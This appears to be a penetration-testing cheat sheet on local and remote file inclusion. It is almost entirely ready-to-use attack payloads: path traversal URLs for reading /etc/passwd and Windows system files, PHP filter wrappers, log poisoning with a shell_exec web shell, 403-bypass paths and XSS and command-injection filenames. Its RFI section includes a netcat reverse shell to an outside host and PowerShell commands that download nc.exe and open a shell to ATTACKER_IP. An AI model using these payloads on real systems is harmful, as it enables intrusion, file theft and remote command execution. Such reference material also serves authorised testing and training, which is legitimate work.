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LFI/RFI
Tools
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# https://github.com/kurobeats/fimap
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fimap -u "http://10.11.1.111/example.php?test="
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# https://github.com/P0cL4bs/Kadimus
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./kadimus -u localhost/?pg=contact -A my_user_agent
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# https://github.com/wireghoul/dotdotpwn
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dotdotpwn.pl -m http -h 10.11.1.111 -M GET -o unix
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How to
- 1.Look requests with filename like
include=main.inc template=/en/sidebar file=foo/file1.txt - 2.Modify and test:
file=foo/bar/../file1.txt- 1.If the response is the same could be vulnerable
- 2.If not there is some kind of block or sanitizer
- 3.Try to access world-readable files like
/etc/passwd /win.ini
LFI
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# Basic LFI
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curl -s http://10.11.1.111/gallery.php?page=/etc/passwd
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​
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# If LFI, also check
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/var/run/secrets/kubernetes.io/serviceaccount
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​
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# PHP Filter b64
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http://10.11.1.111/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd && base64 -d savefile.php
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http://10.11.1.111/index.php?m=php://filter/convert.base64-encode/resource=config
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http://10.11.1.111/maliciousfile.txt%00?page=php://filter/convert.base64-encode/resource=../config.php
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# Nullbyte ending
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http://10.11.1.111/page=http://10.11.1.111/maliciousfile%00.txt
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http://10.11.1.111/page=http://10.11.1.111/maliciousfile.txt%00
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# Other techniques
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https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c
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https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
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https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd
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https://abc.redact.com/static/../../../../../../../../../../../../../../../etc/passwd
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https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00
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https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.html
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https://abc.redact.com/asd.php?file:///etc/passwd
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https://abc.redact.com/asd.php?file:///etc/passwd%00
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https://abc.redact.com/asd.php?file:///etc/passwd%00.html
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https://abc.redact.com/asd.php?file:///etc/passwd%00.ext
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https://abc.redact.com/asd.php?file:///..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.ext/etc/passwd
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https://target.com/admin..;/
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https://target.com/../admin
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https://target.com/whatever/..;/admin
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https://target.com/whatever.php~
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# Cookie based
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GET /vulnerable.php HTTP/1.1
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Cookie:usid=../../../../../../../../../../../../../etc/pasdwd
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# LFI Windows
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http://10.11.1.111/addguestbook.php?LANG=../../windows/system32/drivers/etc/hosts%00
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http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini
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http://10.11.1.111/addguestbook.php?LANG=../../../../../../../../../../../../../../../boot.ini
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http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00
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http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00.html
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http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini
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http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00
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http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.html
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http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini
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http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00
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http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.html
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http://10.11.1.111/addguestbook.php?LANG=file:///C:/boot.ini
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http://10.11.1.111/addguestbook.php?LANG=file:///C:/win.ini
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http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.ext
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http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.ext
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​
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# LFI using video upload:
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https://github.com/FFmpeg/FFmpeg
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https://hackerone.com/reports/226756
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https://hackerone.com/reports/237381
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https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit
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https://github.com/neex/ffmpeg-avi-m3u-xbin
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​
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# Contaminating log files
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[email protected]:~# nc -v 10.11.1.111 80
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10.11.1.111: inverse host lookup failed: Unknown host
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(UNKNOWN) [10.11.1.111] 80 (http) open
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<?php echo shell_exec($_GET['cmd']);?>
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http://10.11.1.111/addguestbook.php?LANG=../../xampp/apache/logs/access.log%00&cmd=ipconfig
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​
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# Common LFI to RCE:
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Using file upload forms/functions
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Using the PHP wrapper expect://command
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Using the PHP wrapper php://file
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Using the PHP wrapper php://filter
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Using PHP input:// stream
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Using data://text/plain;base64,command
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Using /proc/self/environ
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Using /proc/self/fd
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Using log files with controllable input like:
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/var/log/apache/access.log
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/var/log/apache/error.log
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/var/log/vsftpd.log
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/var/log/sshd.log
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/var/log/mail
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​
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# LFI possibilities by filetype
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ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
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SVG: Stored XSS / SSRF / XXE
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GIF: Stored XSS / SSRF
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CSV: CSV injection
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XML: XXE
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AVI: LFI / SSRF
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HTML / JS : HTML injection / XSS / Open redirect
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PNG / JPEG: Pixel flood attack (DoS)
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ZIP: RCE via LFI / DoS
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PDF / PPTX: SSRF / BLIND XXE
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# Chaining with other vulns
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../../../tmp/lol.png —> for path traversal
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sleep(10)-- -.jpg —> for SQL injection
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<svg onload=alert(document.domain)>.jpg/png —> for XSS
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; sleep 10; —> for command injections
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​
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# 403 bypasses
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/accessible/..;/admin
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/.;/admin
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/admin;/
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/admin/~
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/./admin/./
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/admin?param
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/%2e/admin
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/admin#
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/secret/
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/secret/.
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//secret//
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/./secret/..
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/admin..;/
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/admin%20/
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/%20admin%20/
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/admin%20/page
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/%61dmin
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​
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# Path Bypasses
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# 16-bit Unicode encoding
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# double URL encoding
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# overlong UTF-8 Unicode encoding
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….//
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….\/
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…./\
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….\\
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RFI
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# RFI:
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http://10.11.1.111/addguestbook.php?LANG=http://10.11.1.111:31/evil.txt%00
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Content of evil.txt:
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<?php echo shell_exec("nc.exe 10.11.0.105 4444 -e cmd.exe") ?>
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# RFI over SMB (Windows)
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cat php_cmd.php
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<?php echo shell_exec($_GET['cmd']);?>
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# Start SMB Server in attacker machine and put evil script
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# Access it via browser (2 request attack):
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# http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c Invoke-WebRequest -Uri "http://10.10.14.42/nc.exe" -OutFile "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe"
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# http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe" -e cmd.exe ATTACKER_IP 1234
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​
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# Cross Content Hijacking:
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https://github.com/nccgroup/CrossSiteContentHijacking
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https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/
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http://50.56.33.56/blog/?p=242
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​
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# Encoding scripts in PNG IDAT chunk:
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https://yqh.at/scripts_in_pngs.php
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​
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Last modified 1yr ago